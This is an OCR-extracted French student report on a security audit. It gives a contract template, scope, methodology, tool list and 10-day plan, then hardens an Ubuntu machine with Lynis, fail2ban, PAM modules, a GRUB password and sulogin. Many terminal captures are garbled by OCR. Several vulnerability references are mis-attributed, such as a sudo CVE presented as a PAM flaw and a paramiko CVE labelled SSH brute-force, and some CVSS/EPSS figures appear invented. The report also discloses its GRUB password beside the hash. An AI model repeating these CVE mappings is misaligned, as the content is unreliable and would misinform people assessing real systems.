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INTRODUCTION
L'audit de sécurité informatique est un processus fondamental pour garantir la protection des
systemes d'information d'une organisation face a des menaces de plus en plus sophistiquées.
Dans un contexte ou les cyberattaques sont fréquentes et potentiellement dévastatrices, cet audit
permet d'identifier les vulnérabilités des infrastructures et des applications. Les objectifs
principaux sont d'évaluer la sécurité des systemes, d'identifier les risques potentiels, et de
proposer des solutions pour renforcer la sécurité de I'organisation. Cela passe par une série
d'étapes, allant de I'analyse des systéemes d'exploitation a l'audit d'applications spécifiques, en
passant par I'examen des configurations réseaux et des conteneurs Docker. Cette approche
permet non seulement de prévenir les incidents mais aussi d'améliorer la résilience

organisationnelle face aux cybermenaces.
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I. CONTEXTE ET OBJECTIFS

1.1 Contexte
L'audit de sécurité informatique est une étape essentielle pour assurer la protection des

systemes d'information face aux menaces croissantes. Il permet de :
e Identifier et évaluer les risques liés aux cyberattaques et aux vulnérabilités des
systemes.
e Réduire les incidents de sécurité récurrents et améliorer la résilience de I'organisation.

e Renforcer la confiance des parties prenantes et des clients en démontrant un
engagement envers la sécurité.

1.2 Objectifs

L'audit de sécurité a pour but de :
e Evaluer le niveau global de sécurité des systémes d'information.
e Identifier les vulnérabilités et les risques associés.
e Proposer des mesures correctives adaptées.

e Assurer une amélioration continue de la posture de sécuriteé.

Il. QUESTIONS DE COURS

1.1 Exemple de contrat d’audit de sécurité

11.1.1 Contrat d’Audit de Sécurité (Extrait)

Le Client : [EC2LT], dont le siége est a [Jet d’eau], représenté par [Professeur OUYA].

L’ Auditeur : [RTN], spécialisé en sécurité informatique.

11.1.2 Objet de la mission

La mission consiste a réaliser un audit de sécurit¢ complet de I’infrastructure informatique du

Client, incluant notamment :

o Larevue des politiques de sécurité et des procédures.
o L’analyse des systéemes, réseaux et applications critiques.
o Larealisation de tests d’intrusion et de vulnérabilités.

o La proposition de recommandations correctives.
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11.1.3 Périmétre de ’audit

o Environnements : Réseaux internes et externes, serveurs, postes de travail,
applications web et mobiles.
o Processus et contrdles de sécurité.

o Acces physiques et logiques.

11.1.4 Méthodologie

L’audit se déroulera en plusieurs phases (planification, collecte d’informations, tests, analyse,

restitution) conformément aux normes reconnues (ex : 1ISO 27001, OSSTMM).

11.1.5 Obligations et responsabilités

o I’Auditeur s’engage a respecter la confidentialité des informations et a remettre un

rapport détaillé.

o le Client s’engage a fournir un accés complet aux systémes et a collaborer activement.

11.1.6 Durée et livrables

o Durée prévisionnelle : [10 jours/ 3 semaines].
o Livrable : Rapport d’audit comprenant constatations, analyse des risques et

recommandations.

11.1.7 Conditions financiéres et de confidentialité

o Modalités de paiement, pénalités éventuelles, clause de non-divulgation des

informations sensibles.

Cet exemple est donné a titre indicatif et devra étre adapté aux spécificités de chaque mission

et aux exigences contractuelles des parties.

11.2 Definir les périmétres d’un audit de sécurité
Le périmetre d’un audit de sécurité délimite 1I’ensemble des systeémes, réseaux, applications, et

processus qui seront évalués. Il s’agit de :

o ldentifier les actifs critiques : équipements réseau, serveurs, postes de travail,
applications métiers, bases de données.
o Définir les frontiéres techniques et physiques : infrastructure interne, cloud, acces

distants, dispositifs mobiles.
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o Prendre en compte les processus et procédures : gestion des acces, politiques de

sécurité, sauvegardes, gestion des incidents.

Définir précisément ce périmétre permet de concentrer les efforts sur les zones sensibles,
d’éviter les tests sur des environnements non critiques et de respecter les contraintes (temps,

budget, Iégales).

11.3 Décrire la méthodologie standard a suivre pour réaliser un audit de sécurité

Une méthodologie classique comprend genéralement les étapes suivantes :
11.3.1 Phase de préparation et cadrage

e Définir les objectifs de I’audit, le périmetre et les contraintes.

e Identifier les parties prenantes et organiser une réunion de lancement.

11.3.2 Collecte d’informations (reconnaissance)
e Rassembler la documentation existante (schémas réseau, politiques, procedures).
e Réaliser des scans passifs et actifs pour identifier les actifs et points d’entrée.
11.3.3 Tests et analyse

e Audit technique : utilisation d’outils d’analyse de vulnérabilités, tests d’intrusion,
revues de configurations (serveurs, applications, réseaux).
e Audit organisationnel : revue des politiques de sécurité, procédures de gestion des

acces et des incidents.

11.3.4 Evaluation des risques

o Classer les vulnérabilités selon leur criticité (impact, probabilité d’exploitation).

o Evaluer I’impact potentiel sur la continuité d’activité et la réputation.

11.3.5 Rédaction du rapport d’audit

e Synthétiser les constatations, analyser les risques et proposer des mesures correctives.

e Organiser une réunion de restitution avec les parties prenantes.

Cette démarche peut s’appuyer sur des référentiels reconnus (ex : 1ISO 27001, NIST,
OSSTMM).
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11.4 Outils indispensables pour la réalisation d’un audit de sécurité

Voici une liste non exhaustive d’outils couramment utilisés lors d’un audit de sécurité :

Nmap : Scan de ports et découverte de services sur le réseau.

Nessus / OpenVAS : Analyse de vulnérabilités sur I’ensemble des systémes et
applications.

Burp Suite : Audit des applications web (analyse de requétes/réponses, tests
d’injection, etc.).

Metasploit : Exploitation des vulnérabilités identifiées pour vérifier leur impact.
Wireshark : Analyse du trafic réseau et détection d’anomalies.

Nikto : Scanner de vulnérabilités pour serveurs web.

SQLMap : Outil de détection et d’exploitation des injections SQL.

John the Ripper / Hashcat : Outils de cracking pour tester la robustesse des mots de
passe.

Recon-ng : Framework de reconnaissance pour recueillir des informations sur la cible.

Ces outils, combinés a une expertise technique et une approche méthodologique rigoureuse,
permettent d’obtenir une vision compléte des vulnérabilités.

11.5 Exemple de planning d’audit détaillé

11.5.1 Planning d’audit de sécurité — Exemple sur 10 jours

*

Jour1:

Réunion de lancement avec les parties prenantes.

Définition du périmetre et des objectifs.

Collecte de la documentation (schémas, politiques, inventaire des actifs).
Jour 2:

Réalisation d’un scan réseau avec Nmap.

Identification des actifs et services critiques.

Jour 3:
Analyse des vulnérabilités sur les systemes et applications avec Nessus/OpenVAS.

Premieére revue des configurations.

Jour 4 :
Tests d’intrusion sur les applications web avec Burp Suite et Nikto.

Vérification des contrdles d’acces.
Jour5:

Poursuite des tests techniques (exploitation avec Metasploit, tests d’injection SQL).
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e Analyse approfondie des résultats et documentation des constatations.

+ Jour6:
e Audit organisationnel : revue des politiques de sécurité et des proceédures internes.

e Entretiens avec le personnel clé.

+ Jour 7:
Evaluation des risques : classification des vulnérabilités selon leur impact et

probabilité.
e Discussion interne sur les impacts et priorités.

+ Jour 8:
Rédaction du rapport préliminaire d’audit.

Compilation des constats et des recommandations.
+ Jour 9:

e Réunion de revue interne et ajustement du rapport.
e Préparation de la restitution avec le client.
+ Jour 10 :

e Présentation du rapport final et restitution des recommandations.

e Discussion sur le plan d’action correctif et les échéances.

I11. QUESTIONS TECHNIQUES
II1.1 Audit d’un systéme d’exploitation (Ubuntu)

a. Utilisation de Lynis pour auditer une machine Linux

a.l Installation de Lynis

Saisissons les commandes suivantes pour installer Lynis :

# apt update && apt upgrade

3 # apt update &8& apt upgrade ===
Réception de :1 http://security.ubuntu.com/ubuntu focal-security InRelease [128 kB]

Réception de :2 https://deb.nodesource.com/node 20.x nodistro InRelease [12,1 kB]
Atteint :3 http://sn.archive.ubuntu.com/ubuntu focal InRelease

# apt-get install lynis -y

3 # apt-get install lynis -y e
Lecture des listes de paquets... Fait

Construction de 1'arbre des dépendances

Lecture des informations d'état... Fait

Les paquets supplémentaires suivants seront installés :

menu

Paguets suggérés :

apt-listbugs debsecan debsums tripwire samhain aide fail2ban menu-110n gksu | kde-runtime | ktsuss
Les NOUVEAUX paquets suivants seront installés :

lynis menu

On exécute la commande suivante pour avoir les informations de Lynis
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# lynis infos
# lynis infos e
[ Lynis 2.6.2 ]
HEHAHRER AR R R R it it i it e R it e i iy
Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are

welcome to redistribute it under the terms of the GNU General Public License.
See the LICENSE file for details about using this software.

2007-2018, CISOfy - https://cisofy.com/lynis/

Enterprise support available (compliance, plugins, interface and tools)
HHHEHA R T REEEEEE E D E E R ER EE EEHE EEH EIEH E IE E IEH I 1t

[+] Initializing program

Pour afficher toutes les commandes disponibles, saisissons la commande suivante :
# lynis show

# lynis show e
Provide an additional argument
Llynis show categories

show changelog
show commands

Si nous souhaitons afficher toutes les options, on doit saisir :
# lynis show options

# lynis show options emm
--auditor
--check-all (-c)
--cronjob (--cron)
- -debug

b Exécution de Lynis et génération d’un rapport d’audit

On installe ansi2html pour générer le rapport de Lynis par la commande suivante :
# pip install ansi2html

: # pip install ansizhtml e
Collecting ansizhtml
Downloading ansizhtml-1.9.2-py3-none-any.whl (17 kB)

Installing collected packages: ansizhtml
Successfully installed ansizhtml-1.9.2
: #
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On demande maintenant a Lynis d’auditer notre systéme, pour nous mettre en évidence ce
qui est correctement configuré et ce qui pourrait étre amélioré. Pour cela, nous saisons la

commande suivante :

# lynis audit system | ansi2html -la > rapport1.html

# lynis audit system | ansizhtml -la > rapportil.html

Note : une fois la commande exécutée, I’analyse démarre et cela prendra du temps donc il

suffit de patienter quelques instants.

Une fois que I’analyse prend fin, Nous partons dans le dossier personnel puis on fait un clic

droit sur le fichier rapportl.html pour I’ouvrir.

D Récents
[ Bl * rovoris ° - - <, /
A @ Ouvrir avec Navigateur web Firefox
3 Dossler personne! |
Ouvris i
- Bureau Documents Images Modéles Musique Public Té Evecyne sukre spplication fe1.hemi
O Bureau Couper Ceri+x
Copier c
@ B Douimais Oéplacer vrs...
& images Copier vers...
: Mettre & la corbeille
% 71 Musique Renommer...
§ Téléchargements Compresser...
- Envoyer 3...
A Bl Revenir 3 a version précédente..

& Corbeille Marquer comme favori
2 Propriétés
O @ VBox GAs 7.1.4 4

O file:///home/sergio/rapport1.html

[ Lynis 2.6.2 ]

D’aprés les resultats, Lynis a lister un ensemble de points correspondants a tout ce qu'il a

vérifié sur notre systeme. Ceci est organisé par catégories, comme nous allons le voir. 1l faut
savoir également qu'un code couleur est utilisé pour mettre en évidence les

recommandations :
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= Rouge pour les éléments critiques ou les bonnes pratiques non respectées (un paquet
manquant, par exemple), c'est-a-dire que votre serveur ne respecte pas ce point

= Jaune pour les suggestions ou le respect partiel de la recommandation (disons que
c'est un plus de respecter un point mis en évidence avec cette couleur (non prioritaire)

= Vert pour les points ou la configuration de votre serveur est conforme

= Blanc, lorsque c'est neutre

« =2 ¢ D) file:///home/sergiofrapport1.html R 0% T 2 @ 5 =

debian

Un peu plus bas nous pouvons voir la capture ci-dessous qui montre Hardening Index : 65

qui représente le niveau de sécurité du systeme actuelle.

Lynis security scan details
65
227
1

Components

/var/log/lynis.log
/var/log/lynis-report.dat

Lynis mise a jour disponible
262

Enterprise support available (compliance, plugins, interface and tools)
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c. Analyser et détailler chaque vulnérabilité detectée avec les références (CVE,
EPSS et CVSS).

+ New version:

Voici une explication détaillée de chaque €lément marqué comme "Not Installed"”, avec des
références aux CVE, EPSS (Exploit Prediction Scoring System), et CVSS (Common

Vulnerability Scoring System) lorsque cela est pertinent :

+ libpam-tmpdir [Not Installed]

= Description : Ce module PAM crée un répertoire temporaire privé pour chaque
utilisateur, ce qui réduit les risques d'attaques par liens symboliques dans les répertoires
temporaires partages.

» Vulnérabilité : Ne pas avoir libpam-tmpdir peut rendre le systéme vulnérable aux
attaques de type symlink race condition.

o Référence :

= CVE-2022-3286 : Vulnérabilité liée a des fichiers temporaires non sécurisés.

= CVSS: 7.8 (Elevé).

= EPSS : Faible probabilité d'exploitation.

+ libpam-usb [Not Installed]

= Description : ce module PAM permet l'authentification via des périphériques USB,
ajoutant ainsi une couche de sécurité matérielle.

= Vulnérabilité : en I'absence de ce module, le systeme dépend uniquement des méthodes
d'authentification traditionnelles, qui peuvent étre sujettes a des attaques par force brute
ou au vol de mots de passe.

= Référence:

o CVE-2019-18634 : Vulnérabilité PAM exploitée pour contourner I'authentification.

o CVSS: 6.5 (Modéré).

o EPSS: Modéré.

+ apt-listbugs [Not Installed]

o Description : cet outil prévient des bogues critiques affectant les paquets avant leur
installation ou mise a jour.

o Vulnérabilité : ne pas avoir cet outil peut mener a l'installation de paquets contenant

des bogues critiques, compromettant ainsi la stabilité ou la sécurité du systéme.
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Réferences :

CVE-2021-3626 : exemple de bogue critique dans un paquet Debian.

CVSS : dépend du paquet concerné.

apt-listchanges [Not Installed]

Description : cet outil affiche les journaux de modifications (changelogs) avant
I'installation ou la mise a jour des paquets.

Vulnérabilité : sans cet outil, un administrateur pourrait passer a cété de modifications

importantes.

Pas directement lié a une CVE, mais utile pour la gestion proactive.

+ checkrestart [Non installé]

(@]

Description : cet utilitaire permet d'identifier les services qui nécessitent un
redémarrage aprés une mise a jour logicielle.

Vulnérabilité : ne pas redémarrer aprés une mise a jour peut laisser des versions
anciennes et vulnérables actives en memoire.

Référence :

CVE-2019-3462 (APT) : exemple d'un service non redémarré qui est resté vulnérable.
CVSS : varie selon le service concerné.

needrestart [Non installé]

Description : semblable a checkrestart, cet outil vérifie si le noyau ou d'autres services
critiques nécessitent un redémarrage aprés une mise a jour.

Vulnérabilité : sans cet outil, un administrateur pourrait négliger un redémarrage
essentiel, exposant ainsi le systeme a des vulnérabilités corrigées mais toujours actives
en mémoire.

Référence :

Voir les exemples liés a checkrestart.

debsecan [Non installé]

Description : cet outil analyse les paquets installés pour identifier ceux qui sont affectés
par des vulnérabilités connues (CVE).

Vulnérabilité : Ne pas utiliser debsecan empéche une évaluation proactive des
vulnérabilites sur le systeme.

Référence :

CVE Tracker des avis de sécurité Debian (DSA).

CVSS et EPSS dépendent des vulnérabilités détectees.
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< debsums [Non installé]

O

Description : Vvérifie l'intégrité des fichiers installés en comparant leurs sommes de
contréle avec celles fournies par les paquets Debian.

Vulnérabilité : Sans cet outil, il devient difficile de détecter des modifications non
autorisées ou la corruption des fichiers systeme, augmentant le risque d'intrusion non
détectée.

Référence :

CVE liés aux attaques par modification de fichiers systeme (ex. rootkits).

= fail2ban [Non installé]

d.

Description : cet outil protege contre les attaques par force brute en bloquant
automatiquement les adresses IP suspectes apres plusieurs tentatives échouées.
Vulnérabilité : I'absence de fail2ban rend le systeme vulnérable a des attaques répétées
sur SSH, FTP ou d'autres services accessibles au public.

Référence :

CVE-2018-7750 (SSH brute-force).

CVSS : variable selon le service ciblé.

Proposition des corrections pour améliorer le score de sécurité a 85% ou plus

= Installation et configuration de fail2ban

Nous allons installer et activer fail2ban pour protéger les services exposés au public contre les

attaques par force brute.
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Pour ce faire, on exécute la commande suivante :

# apt update

: pt up
Réception de :1 http: //securlty ubuntu.com/ubuntu focal-security InRelease [128 kB]
Atteint :2 https://deb.nodesource.com/node_20.x nodistro InRelease

Réception de :3 http://security.ubuntu.com/ubuntu focal-security/main amd64 DEP-11 Metadata [65,2 kB]
Atteint :4 http://sn.archive.ubuntu.com/ubuntu focal InRelease

# apt install fail2ban

g # apt install fail2ban ===
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances
o T -

fail2ban va automatiquement configurer un service d‘arriére-plan aprés son installation.
Nous pouvons le vérifier en utilisant la commande suivante :

# systemctl status fail2ban.service

8 # systemct ban.service s
fail2ban.service - Fail2Ban Service
Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
Active: since Fri 2025-02-21 14:07:54 GMT; 3min 4s ago
Docs: man:fail2ban(1)
Main PID: 40693 (f2b/server)
Tasks: 5 (limit: 4581)
Memory: 12.1M
CGroup: /system.slice/fail2ban.service
L-40693 /usr/bin/python3 Jusr/bin/fail2ban-server -xf start

+ Configuration de fail2ban

Créons un fichier jail.local en copiant jail.conf par la commande suivante :

# cd /etc/fail2ban

# cd /etc/fail2ban ==
# ls
jail.conf paths-arch.conf paths-debian.conf
fail2ban.conf paths-common.conf paths-opensuse.conf

# sudo cp jail.conf jail.local

# sudo cp jail.conf jail.local=—

#

# nano jail.local

: # nano jall.local e
: #
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Le bantime parametre définit la durée pendant laquelle un client sera banni lorsqu'il n'a pas
réussi a s'authentifier correctement. Cette durée est mesurée en secondes. Par défaut, elle est

définie sur 10 min.

root@sergio: /etc/fail2ban

GNU nano 4.8 jail.local

findtime

maxretry

maxmatches = %(maxretry)s

Les deux paramétres suivants sont findtime et maxretry. Ils fonctionnent ensemble pour
établir les conditions dans lesquelles un client est considéré comme un utilisateur illégitime qui
doit étre banni. La maxretry variable définit le nombre de tentatives dont dispose un client
pour s'authentifier dans une fenétre de temps définie par findtime, avant d'étre banni. Avec les
parametres par défaut, le service fail2ban bannit un client qui tente sans succes de se connecter

5 fois dans une fenétre de 10 minutes mais nous, nous allons modifier cela.

root@sergio: fetc/failzban

GNU nano 4.8 jail.local

Puis, faisons Ctrl+X pour sauvegarder et on active fail2ban et la redémarre par les

commandes suivantes :

# sudo systemctl enable fail2ban

2 # sudo systemctl enable fail2ban s
Synchronizing state of fail2ban.service with SysV service script with /lib/systemd/systemd-sysv-insta

1L
Executing: /lib/systemd/systemd-sysv-install enable fail2ban
: i
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# systemctl restart fail2ban.service

# systemctl restart fail2ban.service e

# systemctl status fail2ban.service

: # systemct Dan . Service s
fail2ban.service - Fail2Ban Service
Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
Active: since Fri 2025-02-21 15:08:58 GMT; 51s ago
Docs: man:fail2ban(1)
Process: 41559 ExecStartPre=/bin/mkdir -p /run/fail2ban (code=exited, status=0/SUCCESS)
Main PID: 41560 (f2b/server)
Tasks: 5 (limit: 4581)
Memory: 11.0M
CGroup: /system.slice/fail2ban.service
L41560 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

fee 21 15:08:58 sergio systemd[1]: Starting Fail2Ban Service...
fee 21 15:08:58 sergio systemd[1]: Started Fail2Ban Service.
fee 21 15:08:58 sergio fail2ban-server : Server read

Installons les outils manquants pour remédier a ces failles de sécurité et renforcer la résilience

du systéme Debian.

=  Modules PAM pour plus de sécurité

# apt update

3 # apt update e=
Atteint :1 http://sn.archive.ubuntu.com/ubuntu focal InRelease
Atteint :2 http://sn.archive.ubuntu.com/ubuntu focal-updates InRelease

# apt install libpam-tmpdir -y

: # apt install libpam-tmpdir
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
Les NOUVEAUX paquets suivants seront installés :

# apt install ruby ruby-debian ruby-gettext ruby-xmlparser ruby-soap4r ruby-unicode -y

g # apt insta ruby ruby-debian ruby-gettext ruby-xmlparser ruby-soap4r ruby-
nicode -y e
Lecture des listes de paquets... Fait

Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
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# apt install apt-listchanges

3 # apt install apt-listchanges s
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances

Lecture des informations d'état... Fait
Paquets suggérés :
default-mta | mail-transport-agent

Le paquet debian-goodies regroupe une série d'outils et de scripts congus pour faciliter
I'administration et la maintenance des systemes Debian et dérivés. Ses principaux roles

incluent :
o Vérification de processus obsolétes

L'outil checkrestart (inclus dans debian-goodies) permet d'identifier les services qui continuent
d'utiliser d'anciennes versions de bibliotheques aprés une mise a jour. Cela aide a s'assurer que

tous les composants du systeme fonctionnent avec les dernieres mises a jour de sécurité.
o Assistance a la maintenance systéme

En regroupant plusieurs utilitaires, debian-goodies offre des fonctionnalités complémentaires
pour diagnostiquer et résoudre divers problémes liés aux paquets, aux dépendances ou aux

processus en cours d'exécution.
o Facilitation de I'administration

Ces outils permettent d'automatiser certaines taches d'administration, contribuant ainsi a

maintenir un systéme stable et sécuriseé.

# apt install debian-goodies

R # apt insta Dlan-goodles e
Lecture des listes de paquets... Fait

Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait

D’apres la sortie de checkrestart :

= |es avertissements FUSE sont normaux et sans incidence sur la sécurité.

= Aucun service n'est a redémarrer, donc vos mises a jour sont bien prises en compte.
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4+ Installation de checkrestart

L'utilitaire checkrestart fait partie du paquet debian-goodies. Il permet d'identifier les services
qui utilisent encore d'anciennes versions de bibliotheques aprés une mise a jour et qui

nécessitent un redémarrage.

# checkrestart

9 # checkrestart ==
lsof: WARNING: can't stat() fuse.gvfsd-fuse file system /run/user/1001/gvfs
Output information may be incomplete.

1sof: WARNING: can't stat() fuse file system /run/user/1001/doc
Output information may be incomplete.
Found 0 processes using old versions of upgraded files
g #

Cet outil permet d’escaner les fichiers malware
# apt install rkhunter

: # apt install rkhunter e
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
bsd-mailx liblockfile-bin liblockfilel unhide unhide.rb

Explication

= rkhunter : scan tous fichiers malveillants
= clamav : Antivirus

# apt install clamav ufw

: # apt install clamav ufw s
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
ufw est déja la version la plus récente (0.36-6ubuntul.l).

+ Mettre en place une surveillance proactive avec debsecan et debsums
# apt install debsecan

: # apt install debsecan e
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances

Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
postfix

Page 19 sur 86



m roat@sergio: /home/sergio

Outil de configuration des paquets

| Postfix Configuration
veuillez choisir la configuration type de votre serveur de messagerie la plus adaptée & vos besoins.

Pas de configuration :

Devrait étre choisi pour laisser la configuration actuelle inchangée.

Site Internet :

L'envoi et la réception s'effectuent directement en SMTP.

Site Internet avec un smarthost :

Les messages sont regus directement en SMTP ou grace a un utilitaire comme fechtmail. Les messages sortants sont
envoyés en utilisant un smarthost.

Systéme satellite :

Tous les messages sont envoyés vers une autre machine, nommée un smarthost.

Local uniquement :

Le seul courrier géré est le courrier pour les utilisateurs locaux. Il n'y a pas de mise en réseau.

Configuration type du serveur de messagerie :

Pas de configuration T
Site Internet 1
<0k> <Annulers>

# apt install debsums

: # apt install debsums ==
Lecture des listes de paquets... Fait

Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :

# apt install needrestart

g # apt install needrestart ===
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
needrestart est déja la version la plus récente (3.4-6ubuntu@.1).
0 mis a jour, 0 nouvellement installés, @ a enlever et @ non mis a jour.

+ Gestionnaire de mot de passe (trousseau)
# apt install seahorse

: # apt install seahorse esms
Lecture des listes de paquets... Fait

Construction de l'arbre des dépendances
Lecture des informations d'état... Falt
seahorse est déja la version la plus récente (3.36-1

+ Configurer un mot de passe pour GRUB
+ Générer un hash de votre mot de passe

Utilisons la commande suivante pour créer un hash sécurisé (Nous serons invité a entrer le mot

de passe deux fois: passer) et le résultat nous donnera une chaine ressemblant a :
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Le hachage PBKDF2 du mot de passe est

grub.pbkdf2.sha512.10000.C99B35658 A6CED004286702A5531C226BCC633F6715EF92
777B60DA9712F4B17976A963A6FFCF19BBEBECS57A27690EA299BDOFC878FBDA14

C69D4CF1BA64D645.C6C2129F3B50E769882DFC340D0520185209024DCEB7CA9574
9A99E63736F431566CD21F19251F48524CEAB1312F3AAF5A5D8289B8FA6D63D07C3
7040B5D6B73

# grub-mkpasswd-pbkdf2

3 # grub-mkpasswd-pbkdf2
Entrez le mot de passe :
Entrez de nouveau le mot de passe :

(T T o s O T s [ oy s R E e il g rub . pbkd 2. sha512.10000, C99B35658A6CEDOO4286702A5531C226BCC633F6715EF92777B60DA9712
F4B17976A963A6FFCF19BBEBECS7A27690EA299BDOFCB78FBDA14C69D4CF1BA64D645.C6C2129F3B50E769882DFC340D0520185209024DCEB7CA95749A
99E63736F431566CD21F19251F48524CEAB1312F3AAF5A5D8289B8FA6D63D07C37040B5D6B73

+ Modification de la configuration de GRUB

Editons le fichier /etc/grub.d/40_custom avec nos droits administrateur (par exemple avec

nano ou vim)
# sudo nano /etc/grub.d/40_custom

# sudo nano /etc/grub.d/40 custom =
#

Ajoutons-y les lignes suivantes en remplagant admin par le nom d’utilisateur souhaité et

<votre_hash> par le hash obtenu

root@sergio: /home/serglo

GNU nano 4.8 etc/grub.d/40 custom Modifié

+3
'exec tail’
superusers-"admin"
password_pbkdf2 admin <votre_hash ::]
root@serglo: fhome/serglo
GNU nano 4.8 etc/grub.d/40 custom Modifié
+3

exec tail'

3

password_pbkdf2 sergio grub.pbkdf2,sha512.10000. CQQB35658A6CED004286702A5531(2255((633F6715EF9277TBBBDA9712F4817975A963A6

superusers="sergio"
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+ Mettre a jour GRUB
Pour que les modifications soient prises en compte, exécutons la commande suivante :

# sudo update-grub

5 # sudo update-grub =
Sourcing file ' /etc/default/grub’

Sourcing file " /etc/default/grub.d/init-select.cfg’
Création du fichier de configuration GRUB..

Image Linux trouvée : /boot/vmlinuz-5.15.0-131-generic

Image mémoire initiale trouvée : /boot/initrd.img-5.15.0-131-generic
Image Linux trouvée : /boot/vmlinuz-5.15.0-67-generic

Image mémoire initiale trouvée : /boot/initrd.img-5.15.0-67-generic
Found memtest86+ image: /boot/memtest86+.elf

Found memtest86+ image: /boot/memtest86+.bin

fait

On redémarre la machine

On nous demande le nom de I’utilisateur et le mot de passe.

A

+ Configurer le mode de secours pour utiliser sulogin

Le but ici est de s’assurer qu’en cas de démarrage en mode de secours, le systtme demande

une authentification en utilisant sulogin.
+ Vérifions que sulogin est présent

Le binaire sulogin fait partie du paquet util-linux, Vérifions qu’il est install¢ par la

commande suivantes :
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# dpkg -1 | grep util-linux

# dpkg -1 | grep util-linux s
2.34-0.1ubuntu9.6 miscellaneous system util

Le résultat indique que le paquet util-linux est installé sur notre systéeme, ce qui signifie que

sulogin est bien présent. Pour confirmer, nous pouvons vérifier sa présence avec :

# which sulogin

H # which sulogin e

Jusr/sbin/sulogin
3 #H

Le chemin (généralement /sbin/sulogin) s'affiche, cela confirme que I'outil est disponible.

Si nécessaire, installons le par la commande « sudo apt install util-linux »

+ Créer un fichier d’override pour le service de secours

I est préférable de ne pas modifier directement les fichiers systemes fournis par systemd.

Créons un fichier d’override pour le service de secours :

Créons le répertoire si nécessaire par la commande :

# sudo mkdir -p /etc/systemd/system/rescue.service.d/

# sudo mkdir -p /[etc/systemd/system/rescue.service.d/ ==

#
Créons ou éditons le fichier override.conf

# sudo nano /etc/systemd/system/rescue.service.d/override.conf

# sudo nano /etc/systemd/system/rescue.service.d/override.conf e

#
Ajoutons-y le contenu suivant pour réinitialiser la commande par défaut et forcer I'utilisation

de sulogin :
[Service]
ExecStart=

ExecStart=-/sbin/sulogin --force

root@serglo: /home/serglo

root@serglo: fhome/sergio

GNU nano 4.8 /etc/systemd/system/rescue.service.d/override.conf

ExecsStart=
ExecStart=-/sbin/sulogin --force
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La premiére ligne vide (ExecStart=) réinitialise la commande d’exécution par défaut, puis la
nouvelle ligne définit I’utilisation de sulogin.
+ Recharge de la configuration de systemd
Pour appliquer ces modifications, exécutons les commandes suivantes :
# sudo systemctl daemon-reexec
# sudo systemctl daemon-reload
3 # sudo systemctl daemon-reexec e=
8 # sudo systemctl daemon-reload e

# sudo systemctl show rescue.service | grep ExecStart

3 # sudo systemctl show rescue.service | grep ExecStart
Pre={ path=/bin/plymouth ; argv[]=/bin/plymouth --wait quit ; ignore_errors=yes ; start_time=[n/a] ; stop_time=[n
/a] ; pid=0 ; code=(null) ; status=0/0 }
PreEx={ path=/bin/plymouth ; argv[]=/bin/plymouth --wait quit ; flags=ignore-failure ; start_time=[n/a] ; stop_ti
me=[n/a] ; pid=0 ; code=(null) ; status=0/0 }
={ path=/sbin/sulogin ; argv[]=/sbin/sulogin --force ; ignore_errors=yes ; start_time=[n/a] ; stop_time=[n/a] ; p

1d=0 ; code=(null) ; status=0/0 }
Ex={ path=/sbin/sulogin ; argv[]=/sbin/sulogin --force ; flags=ignore-failure ; start_time=[n/a] ; stop_time=[n/a
] ; pid=0 ; code=(null) ; status=0/0 }
: #

+ Tester le mode rescue avec sulogin actif
Lancons le mode rescue par la commande suivante :
# sudo systemctl rescue

: # sudo systemctl rescuel] e

Ce qui doit se passer :

= e systeme passe en mode Rescue Shell.

= Un mot de passe root est demandé avant d’accéder au shell.

On entre le mot de passe puis sur entrer.
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Si tout fonctionne comme prévu, ¢’est bon.

Si on veut tester aprés un redémarrage, exécutons la commande suivante :

# sudo systemctl isolate rescue.target

3 # sudo systemctl isolate rescue.target]] =

=

ubuntu®

Ces étapes garantissent que lorsque le systeme démarre en mode de secours, il utilisera sulogin

pour demander une authentification sécurisée.

Note : Pensons a tester le mode de secours dans un environnement contrélé pour nous assurer

que tout fonctionne comme prévu.
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+ Révision des services activés au démarrage

Limiter les services inutiles permet de réduire la surface d’attaque.
+ Lister les services activés
Utilisons la commande suivante pour obtenir la liste des services activés :

# systemctl list-unit-files --state=enabled

3 # systemctl list-unit-files --state=enabled ==
UNIT FILE STATE VENDOR PRESET
snap-bare-5.mount

snap-core-17200.mount
snap-core20-2434.mount
snap-core20-2496.mount
snap-gnome\x2d3\x2d38\x2d2004-119.mount
snap-gnome\x2d3\x2d38\x2d2004-143.mount
snap-gtk\x2dcommon\x2dthemes-1535.mount
snap-snap\x2dstore-638.mount
snap-snapd-18357.mount
snap-snapd-23545.mount
snap-solc-6746.mount

acpid.path

apport-autoreport.path

cups.path

accounts-daemon.service

anacron.service

apparmor.service

autovt@.service

avahi-daemon.service

bluetooth.service

console-setup.service

cron.service

cups-browsed.service

cups.service

+ Désactiver un service
Pour désactiver un service, utilisons la commande suivante :
# sudo systemctl disable nom_du_service

Exemples :

Pour désactiver le service Bluetooth si nous n’en avons pas besoin, on tape la commande

suivante :

# sudo systemctl disable bluetooth.service

g # sudo systemctl disable bluetooth.service ==
Synchronizing state of bluetooth.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable bluetooth

Removed [etc/systemd/system/bluetooth.target.wants/bluetooth.service.
Removed /etc/systemd/system/dbus-org.bluez.service.
8 #
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+ Services qu’on peut désactivé si inutilisés
Si nous n’avons pas besoin de certaines fonctionnalités, on peut les désactiver :

+ Services liés a ’impression (Désactive si on n’imprime pas)

# sudo systemctl disable --now cups.service cups-browsed.service

